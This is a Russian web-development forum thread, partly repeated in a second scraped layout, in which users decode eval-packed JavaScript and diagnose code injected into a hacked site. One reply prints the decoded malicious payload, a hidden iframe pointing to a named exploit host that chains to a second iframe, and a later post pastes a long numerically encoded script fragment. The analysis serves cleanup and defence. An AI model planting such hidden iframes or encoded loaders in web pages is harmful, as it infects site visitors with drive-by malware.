помогите раскодировать .JS - Веб-программирование

31.07.2007, 04:11

имеется java скрипт декодирующийся при обработке при помощи eval
расшифрованый код частично получаю заменой eval на alert или document.write однако в первом случае полный код получить неудается - alert его полностью просто неможет вывести, а вовтором исчезают необходимые хтмл теги...подскажите есть ли вариант получить целиком?

ссылка на скрипт - http://siberia.jino-net.ru/sh.js

Псих · 31.07.2007, 16:15

Ashien, ничего не понял. возьми код скрипта, убери функцию эвал, и получишь его исходник. что еще нужно?

31.07.2007, 19:27

to Псих
я тоже непонял каким образом предлагаешь убрать eval

Псих · 31.07.2007, 19:32

Ashien, ну скрипт же доступен в текстововм варианте.
Возьми скопируй все в блокнот, убери функцию евал и вновь сохрани в js.

Saruman · 01.08.2007, 14:11

Псих
evalом генирурется итоговый код для выполнения, который топикстартеру и нужно получить. Если ты eval убираешь - то и нужно кода ты не получишь.

Ashien
Всё просто - добавляешь на страницу textarea и вместо выкидывания кода через document.write вставляешь его в эту textarea. Оттуда потом копируешь - и делаешь с ним, что хочешь. Вот здесь положил раскодированный скрипт.

02.08.2007, 01:41

to Saruman

Спасибо

. Насчет textarea догадывался, но вот как грамотно его втсавить неочень разобрался... если нетрудно, попдробнее раскажи.

Saruman · 02.08.2007, 12:38

Ashien

Код:

<body>
<textarea id="decoded"></textarea>
<script>
document.getElementById('decoded').value = ( function(p,a,c,k,e,d) { .... и т.д. - тут текст из евала ... } );
</script>
</body>

В общем, просто заменяешь вызов eval на запись в textarea

02.08.2007, 18:45

to Saruman
Ясно, thx

... А незнаешь, сложно ли подобным образом закодировать свой js код?

И вот еще, если будет время, посмотри плиз эти два скрипта в файле md5 если неошибаюсь также часть кода закодирована неочень правда понимаю как ведется обработка но не через eval, а в des немогу понять чистый ли код, вроде бы ничего нет но чтото сложноватым кажется.

http://siberia.jino-net.ru/md5.js
http://siberia.jino-net.ru/des.js

Saruman · 03.08.2007, 11:50

Цитата:

Сообщение от Ashien

А незнаешь, сложно ли подобным образом закодировать свой js код?

погугли на предмет code obfuscation - это эффективнее, чем руками пытаться что-то подобное сделать

Цитата:

Сообщение от Ashien

посмотри плиз эти два скрипта

насколько я вижу - совершенно чистый код с реализацией данных алгоритмов. Не самый легкочитаемый, конечно - но что тут поделаешь, разбирай по строкам и комментируй сам, если хочешь подробно с кодом разобраться. Алгоритмы есть на википедии, сравни алгоритм и код - станет очевидно, что где происходит.

Kuvaldum · 08.08.2007, 02:46

Да нет там особой лапши.
Есть строчка-словарь, поделенная на лексемы символами '|'
И есть строчка с самим скриптом, в который надо эти лексемы по словарю подставить.

Hubbitus · 09.09.2007, 20:06

Цитата:

Сообщение от Ashien

И вот еще, если будет время, посмотри плиз эти два скрипта в файле md5 если неошибаюсь также часть кода закодирована

Извините что вмешиваюсь, но смысла в них ковыряться не вижу совершенно, если конечно не имеется ввиду ковыряние конкретного сайта, а лишь требуется взять реализацию данных алгоритмов.
md5 и des давно реализованф и раздаются в куче мест бесплатно, вот, например одноминутный поиск:
http://pajhome.org.uk/crypt/md5/
http://www.tero.co.uk/des/

Псих · 02.01.2008, 15:17

Друзья, хотел спросить вашего совета.
На одном из сайтов, которым я занимаюсь, нашел левый код.
Причем этот код был замечен в двух разных поддоменах с разными скриптами, стало быть надумать, что это дело какого-то модуля нельзя.
Мои попытки его расшифровать сводятся к выводу всякой фигни: иероглифов или слова "NaN" (это если выводить результат в textarea или window.alert
через document.write не выводиться ничего.
Возникает подозрение, что информация вывода требует другой кодировки или не правильно расшифровывается unicode.
Будут какие-то идеи? Буду благодарен за любые подсказки.

Saruman · 03.01.2008, 11:16

Псих
Сломал твои сайты кто-то и эксплойт на них повесил. Приведённый тобой код расшифровывается в следующее:

Код:

</textatea></textarea><IFRAME src="http://spl.vip-ddos.org/index.php" width=3 height=3 style="display:none"></IFRAME>

по ссылке из iframe вытягивается ещё кусок яваскрипта, закодированный в JScript.Encode, он в свою очередь даёт новый фрейм:

Код:

<iframe src="http://wm-servis.cn/out.php?s_id=1" height=1 width=1></iframe>

Этот сервер у меня уже не отвечает - возможно, уже убили. Но, ессно, т.к. первый жив - может в любой момент переключиться на новый источник, так что чем быстрее ты устранишь дыры и уберёшь эти скрипты со своих сайтов - тем здоровее будут твои посетители.

Псих · 03.01.2008, 15:02

Saruman, слух, а можешь поделиться, как ты его выковырял. а то я вчера голову ломал, но у мну всякий бред выковыривался =\

Saruman · 03.01.2008, 19:35

Да куча способов. Простейший - ставишь в Firefox расширение Firebug, открываешь страницу с кодом и смотришь, что в итоге на ней написалось. Также можно вместо document.write в скрипте сделать сбор текста в переменную и alertнуть её затем (res = ''; ..... res = res + String.fromCharCode(t); )
Ну а как JScript.Encode раскодировать - в гугл, декодеров как грязи этих.

Псих · 03.01.2008, 19:39

Saruman, ясн. я седня сам с firebug познакомился.. спасибо Hatifnatt.
А по поводу js. мои познания его немного подвели, я не то алертил. вернее вроде то, но не вышло)
Спасибо за помощь!

02.05.2011, 01:01

Цитата:

Сообщение от Псих

Ashien, ничего не понял. возьми код скрипта, убери функцию эвал, и получишь его исходник. что еще нужно?

Вот кусок кода скрипта, и дальше что?

бУДУ ПРИЗНАТЕЛЕН КТО РАСКОДИРУЕТ

задрал один чел, взлымывает cайт по ftp через FileZillu

288,0.28125,3360,3.1875,1024,1.25,3200,3.46875,3168,3.65625,3488,3.156 25,3520,3.625,1472,3.21875,3232,3.625,2208,3.375,3232,3.40625,3232,3.4 375,3712,3.59375,2112,3.78125,2688,3.03125,3296,2.4375,3104,3.40625,32 32,1.25,1248,3.0625,3552,3.125,3872,1.21875,1312,2.84375,1536,2.90625, 1312,3.84375,416,0.28125,288,0.28125,3360,3.1875,3648,3.03125,3488,3.1 5625,3648,1.25,1312,1.84375,416,0.28125,288,3.90625,1024,3.15625,3456, 3.59375,3232,1,3936,0.40625,288,0.28125,288,3.125,3552,3.09375,3744,3. 40625,3232,3.4375,3712,1.4375,3808,3.5625,3360,3.625,3232,1.25,1088,1. 875,3360,3.1875,3648,3.03125,3488,3.15625,1024,3.59375,3648,3.09375,19 52,1.21875,3328,3.625,3712,3.5,1856,1.46875,1504,3.59375,3744,3.0625,3 168,3.46875,3680,3.28125,1472,3.09375,3552,3.40625,1504,3.09375,3552,3 .65625,3520,3.625,1600,1.4375,3584,3.25,3584,1.21875,1024,3.71875,3360 ,3.125,3712,3.25,1952,1.21875,1568,1.5,1248,1,3328,3.15625,3360,3.2187 5,3328,3.625,1952,1.21875,1568,1.5,1248,1,3680,3.625,3872,3.375,3232,1 .90625,1248,3.6875,3360,3.59375,3360,3.0625,3360,3.375,3360,3.625,3872 ,1.8125,3328,3.28125,3200,3.125,3232,3.4375,1888,3.5,3552,3.59375,3360 ,3.625,3360,3.46875,3520,1.8125,3104,3.0625,3680,3.46875,3456,3.65625, 3712,3.15625,1888,3.375,3232,3.1875,3712,1.8125,1536,1.84375,3712,3.46 875,3584,1.8125,1536,1.84375,1248,1.9375,1920,1.46875,3360,3.1875,3648 ,3.03125,3488,3.15625,1984,1.0625,1312,1.84375,416,0.28125,288,3.90625 ,416,0.28125,288,3.1875,3744,3.4375,3168,3.625,3360,3.46875,3520,1,336 0,3.1875,3648,3.03125,3488,3.15625,3648,1.25,1312,3.84375,416,0.28125, 288,0.28125,3776,3.03125,3648,1,3264,1,1952,1,3200,3.46875,3168,3.6562 5,3488,3.15625,3520,3.625,1472,3.09375,3648,3.15625,3104,3.625,3232,2. 15625,3456,3.15625,3488,3.15625,3520,3.625,1280,1.21875,3360,3.1875,36 48,3.03125,3488,3.15625,1248,1.28125,1888,3.1875,1472,3.59375,3232,3.6 25,2080,3.625,3712,3.5625,3360,3.0625,3744,3.625,3232,1.25,1248,3.5937 5,3648,3.09375,1248,1.375,1248,3.25,3712,3.625,3584,1.8125,1504,1.4687 5,3680,3.65625,3136,3.09375,3552,3.59375,3360,1.4375,3168,3.46875,3488 ,1.46875,3168,3.46875,3744,3.4375,3712,1.5625,1472,3.5,3328,3.5,1248,1 .28125,1888,3.1875,1472,3.59375,3712,3.78125,3456,3.15625,1472,3.6875, 3360,3.59375,3360,3.0625,3360,3.375,3360,3.625,3872,1.90625,1248,3.25, 3360,3.125,3200,3.15625,3520,1.21875,1888,3.1875,1472,3.59375,3712,3.7 8125,3456,3.15625,1472,3.5,3552,3.59375,3360,3.625,3360,3.46875,3520,1 .90625,1248,3.03125,3136,3.59375,3552,3.375,3744,3.625,3232,1.21875,18 88,3.1875,1472,3.59375,3712,3.78125,3456,3.15625,1472,3.375,3232,3.187 5,3712,1.90625,1248,1.5,1248,1.84375,3264,1.4375,3680,3.625,3872,3.375 ,3232,1.4375,3712,3.46875,3584,1.90625,1248,1.5,1248,1.84375,3264,1.43 75,3680,3.15625,3712,2.03125,3712,3.625,3648,3.28125,3136,3.65625,3712 ,3.15625,1280,1.21875,3808,3.28125,3200,3.625,3328,1.21875,1408,1.2187 5,1568,1.5,1248,1.28125,1888,3.1875,1472,3.59375,3232,3.625,2080,3.625 ,3712,3.5625,3360,3.0625,3744,3.625,3232,1.25,1248,3.25,3232,3.28125,3 296,3.25,3712,1.21875,1408,1.21875,1568,1.5,1248,1.28125,1888,0.40625, 288,0.28125,288,3.125,3552,3.09375,3744,3.40625,3232,3.4375,3712,1.437 5,3296,3.15625,3712,2.15625,3456,3.15625,3488,3.15625,3520,3.625,3680, 2.0625,3872,2.625,3104,3.21875,2496,3.03125,3488,3.15625,1280,1.21875, 3136,3.46875,3200,3.78125,1248,1.28125,2912,1.5,2976,1.4375,3104,3.5,3 584,3.15625,3520,3.125,2144,3.25,3360,3.375,3200,1.25,3264,1.28125,188 8,0.40625,288,0.28125,4000

=

Hubbitus · 02.05.2011, 12:38

Цитата:

Сообщение от kitjobs

Вот кусок кода скрипта, и дальше что?

Приведите не кусок, а весь. Лучше аттачем.

EvroStandart · 09.05.2011, 15:13

Цитата:

Сообщение от kitjobs

задрал один чел, взлымывает cайт по ftp через FileZillu

Каким образом раскодированый JS закроет дыру в фтп?

31.07.2007, 04:11	# 1
Ashien Guest Сообщения: n/a	помогите раскодировать скрипт имеется java скрипт декодирующийся при обработке при помощи eval расшифрованый код частично получаю заменой eval на alert или document.write однако в первом случае полный код получить неудается - alert его полностью просто неможет вывести, а вовтором исчезают необходимые хтмл теги...подскажите есть ли вариант получить целиком? ссылка на скрипт - http://siberia.jino-net.ru/sh.js

31.07.2007, 16:15	# 2
Псих ::VIP:: Guinness Liker Понаехало тут Регистрация: 26.01.2003 Адрес: В нейроне Пол: Male Сообщения: 2 848	Ashien, ничего не понял. возьми код скрипта, убери функцию эвал, и получишь его исходник. что еще нужно? __________________ меня не вылечат

31.07.2007, 19:32	# 4
Псих ::VIP:: Guinness Liker Понаехало тут Регистрация: 26.01.2003 Адрес: В нейроне Пол: Male Сообщения: 2 848	Ashien, ну скрипт же доступен в текстововм варианте. Возьми скопируй все в блокнот, убери функцию евал и вновь сохрани в js. __________________ меня не вылечат

01.08.2007, 14:11	# 5
Saruman ::VIP:: Регистрация: 12.11.2002 Адрес: Nicosia, Cyprus Сообщения: 1 285	Псих evalом генирурется итоговый код для выполнения, который топикстартеру и нужно получить. Если ты eval убираешь - то и нужно кода ты не получишь. Ashien Всё просто - добавляешь на страницу textarea и вместо выкидывания кода через document.write вставляешь его в эту textarea. Оттуда потом копируешь - и делаешь с ним, что хочешь. Вот здесь положил раскодированный скрипт. __________________ "If people only knew how hard I work to gain my mastery, it wouldn't seem so wonderful at all." Michelangelo Buonarroti

02.08.2007, 12:38	# 7
Saruman ::VIP:: Регистрация: 12.11.2002 Адрес: Nicosia, Cyprus Сообщения: 1 285	Ashien Код: <body> <textarea id="decoded"></textarea> <script> document.getElementById('decoded').value = ( function(p,a,c,k,e,d) { .... и т.д. - тут текст из евала ... } ); </script> </body> В общем, просто заменяешь вызов eval на запись в textarea __________________ "If people only knew how hard I work to gain my mastery, it wouldn't seem so wonderful at all." Michelangelo Buonarroti

31.07.2007, 19:27	# 3
Ashien Guest Сообщения: n/a	помогите раскодировать .JS to Псих я тоже непонял каким образом предлагаешь убрать eval

02.08.2007, 01:41	# 6
Ashien Guest Сообщения: n/a	to Saruman Спасибо . Насчет textarea догадывался, но вот как грамотно его втсавить неочень разобрался... если нетрудно, попдробнее раскажи.

02.08.2007, 18:45	# 8
Ashien Guest Сообщения: n/a	to Saruman Ясно, thx ... А незнаешь, сложно ли подобным образом закодировать свой js код? И вот еще, если будет время, посмотри плиз эти два скрипта в файле md5 если неошибаюсь также часть кода закодирована неочень правда понимаю как ведется обработка но не через eval, а в des немогу понять чистый ли код, вроде бы ничего нет но чтото сложноватым кажется. http://siberia.jino-net.ru/md5.js http://siberia.jino-net.ru/des.js

08.08.2007, 02:46	# 10
Kuvaldum Newbie Регистрация: 10.08.2005 Сообщения: 35	Да нет там особой лапши. Есть строчка-словарь, поделенная на лексемы символами '\|' И есть строчка с самим скриптом, в который надо эти лексемы по словарю подставить.

02.01.2008, 15:17	# 12
Псих ::VIP:: Guinness Liker Понаехало тут Регистрация: 26.01.2003 Адрес: В нейроне Пол: Male Сообщения: 2 848	Друзья, хотел спросить вашего совета. На одном из сайтов, которым я занимаюсь, нашел левый код. Причем этот код был замечен в двух разных поддоменах с разными скриптами, стало быть надумать, что это дело какого-то модуля нельзя. Мои попытки его расшифровать сводятся к выводу всякой фигни: иероглифов или слова "NaN" (это если выводить результат в textarea или window.alert через document.write не выводиться ничего. Возникает подозрение, что информация вывода требует другой кодировки или не правильно расшифровывается unicode. Будут какие-то идеи? Буду благодарен за любые подсказки. __________________ меня не вылечат

03.01.2008, 11:16	# 13
Saruman ::VIP:: Регистрация: 12.11.2002 Адрес: Nicosia, Cyprus Сообщения: 1 285	Псих Сломал твои сайты кто-то и эксплойт на них повесил. Приведённый тобой код расшифровывается в следующее: Код: </textatea></textarea><IFRAME src="http://spl.vip-ddos.org/index.php" width=3 height=3 style="display:none"></IFRAME> по ссылке из iframe вытягивается ещё кусок яваскрипта, закодированный в JScript.Encode, он в свою очередь даёт новый фрейм: Код: <iframe src="http://wm-servis.cn/out.php?s_id=1" height=1 width=1></iframe> Этот сервер у меня уже не отвечает - возможно, уже убили. Но, ессно, т.к. первый жив - может в любой момент переключиться на новый источник, так что чем быстрее ты устранишь дыры и уберёшь эти скрипты со своих сайтов - тем здоровее будут твои посетители. __________________ "If people only knew how hard I work to gain my mastery, it wouldn't seem so wonderful at all." Michelangelo Buonarroti

03.01.2008, 15:02	# 14
Псих ::VIP:: Guinness Liker Понаехало тут Регистрация: 26.01.2003 Адрес: В нейроне Пол: Male Сообщения: 2 848	Saruman, слух, а можешь поделиться, как ты его выковырял. а то я вчера голову ломал, но у мну всякий бред выковыривался =\ __________________ меня не вылечат

03.01.2008, 19:35	# 15
Saruman ::VIP:: Регистрация: 12.11.2002 Адрес: Nicosia, Cyprus Сообщения: 1 285	Да куча способов. Простейший - ставишь в Firefox расширение Firebug, открываешь страницу с кодом и смотришь, что в итоге на ней написалось. Также можно вместо document.write в скрипте сделать сбор текста в переменную и alertнуть её затем (res = ''; ..... res = res + String.fromCharCode(t); ) Ну а как JScript.Encode раскодировать - в гугл, декодеров как грязи этих. __________________ "If people only knew how hard I work to gain my mastery, it wouldn't seem so wonderful at all." Michelangelo Buonarroti

03.01.2008, 19:39	# 16
Псих ::VIP:: Guinness Liker Понаехало тут Регистрация: 26.01.2003 Адрес: В нейроне Пол: Male Сообщения: 2 848	Saruman, ясн. я седня сам с firebug познакомился.. спасибо Hatifnatt. А по поводу js. мои познания его немного подвели, я не то алертил. вернее вроде то, но не вышло) Спасибо за помощь! __________________ меня не вылечат

Опции темы
Версия для печати Отправить на email